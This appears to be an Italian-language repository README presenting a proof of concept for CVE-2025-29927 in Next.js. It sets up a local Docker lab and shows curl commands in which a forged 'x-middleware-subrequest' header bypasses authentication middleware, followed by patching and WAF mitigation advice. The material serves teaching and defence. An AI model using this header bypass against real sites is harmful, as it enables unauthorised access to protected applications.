danielhallbro/cve-2025-29927-nextjs-bypass-pocUna Proof of Concept per CVE-2025-29927 che dimostra un bypass del middleware nelle versioni di Next.js precedenti alla 13.5.9
Questo repository contiene un Proof of Concept (PoC) che dimostra come bypassare i controlli di sicurezza del middleware in Next.js (v13.5.6) sfruttando una vulnerabilità relativa agli header HTTP interni.
CVE-2025-29927 è una vulnerabilità di Bypass del Middleware presente nelle versioni di Next.js 1.11.4 e precedenti alle versioni 12.3.5, 13.5.9, 14.2.25 e 15.2.3. Permette a un attaccante esterno di saltare la logica di sicurezza – come l'autenticazione, il rilevamento di bot o i reindirizzamenti geografici – che uno sviluppatore ha implementato nel file middleware.ts.
Next.js utilizza header HTTP interni per comunicare tra i propri diversi livelli architetturali. Uno di questi header è x-middleware-subrequest.
La vulnerabilità esiste perché le versioni vulnerabili di Next.js si fidano di questo header anche quando viene inviato da un client esterno (come un browser o ). Quando il server vede questo header, assume che la richiesta sia già stata elaborata e "autorizzata" dal middleware, quindi salta l'esecuzione del tuo codice di sicurezza.
curlIl laboratorio è eseguito all'interno di un container Docker Node:18-alpine per garantire un ambiente pulito e riproducibile.
Iniziamo avviando un container denominato in background. Usiamo sleep infinity per mantenere il container attivo durante la configurazione.
Inizialmente ho avuto alcuni problemi nel riavviare il container nelle fasi successive, ecco perché ho scelto sleep infinity.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Installiamo la specifica versione vulnerabile di Next.js. Nota che nonostante il flag --src-dir false, il framework crea una directory src, dove dobbiamo posizionare il nostro middleware per renderlo attivo.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Per simulare una barriera di sicurezza, creiamo un file middleware.ts. Questo middleware è configurato per bloccare tutte le richieste in arrivo con uno stato 401 Non Autorizzato.
# Entra nella shell del container
docker exec -it CVE-2025-29927-Lab sh
# Crea il file middleware all'interno della directory src (un unico comando lungo)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Avvia il server di sviluppo e attendi il segnale ✓ Ready nella console.
# Sempre nella shell del container del Passo 3 - esegui il comando seguente.
cd lab && npm run dev
Apri una nuova finestra del terminale (non chiudere il terminale precedente) sulla macchina host per testare l'ambiente usando curl.
Una richiesta standard senza header modificati viene correttamente intercettata e bloccata dal nostro middleware.
curl.exe -I http://localhost:3000/
# Risposta attesa: HTTP/1.1 401 Unauthorized
Iniettando l'header interno x-middleware-subrequest: src/middleware, inganniamo Next.js facendogli credere che la richiesta sia già stata verificata da un processo interno. Il server salta l'esecuzione del middleware e concede accesso completo.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Risposta attesa: HTTP/1.1 200 OK
Per proteggere la tua applicazione da CVE-2025-29927, dovresti aggiornare Next.js alla versione corretta corrispondente al tuo rilascio principale attuale:
La vulnerabilità è risolta nelle seguenti versioni. Assicurati che il tuo package.json rifletta almeno queste versioni:
# Esempio per aggiornare all'ultima versione corretta
npm install next@latest
Se un aggiornamento immediato non è possibile, dovresti configurare il tuo Web Application Firewall (WAF) o Reverse Proxy (es. Nginx, Cloudflare, o Varnish) per rimuovere o bloccare l'header x-middleware-subrequest da tutte le richieste esterne in arrivo prima che raggiungano il server applicativo Next.js.
Dopo l'aggiornamento, puoi verificare la correzione eseguendo nuovamente il comando di sfruttamento del Passo 5. Un server corretto non restituirà più un 200 OK quando l'header contraffatto è presente.
Questa vulnerabilità esiste perché Next.js si fida degli header lato client per identificare le sotto-richieste interne. Per mitigarla, Next.js dovrebbe essere aggiornato a una versione che convalidi o rimuova correttamente questi header interni dal traffico esterno in arrivo.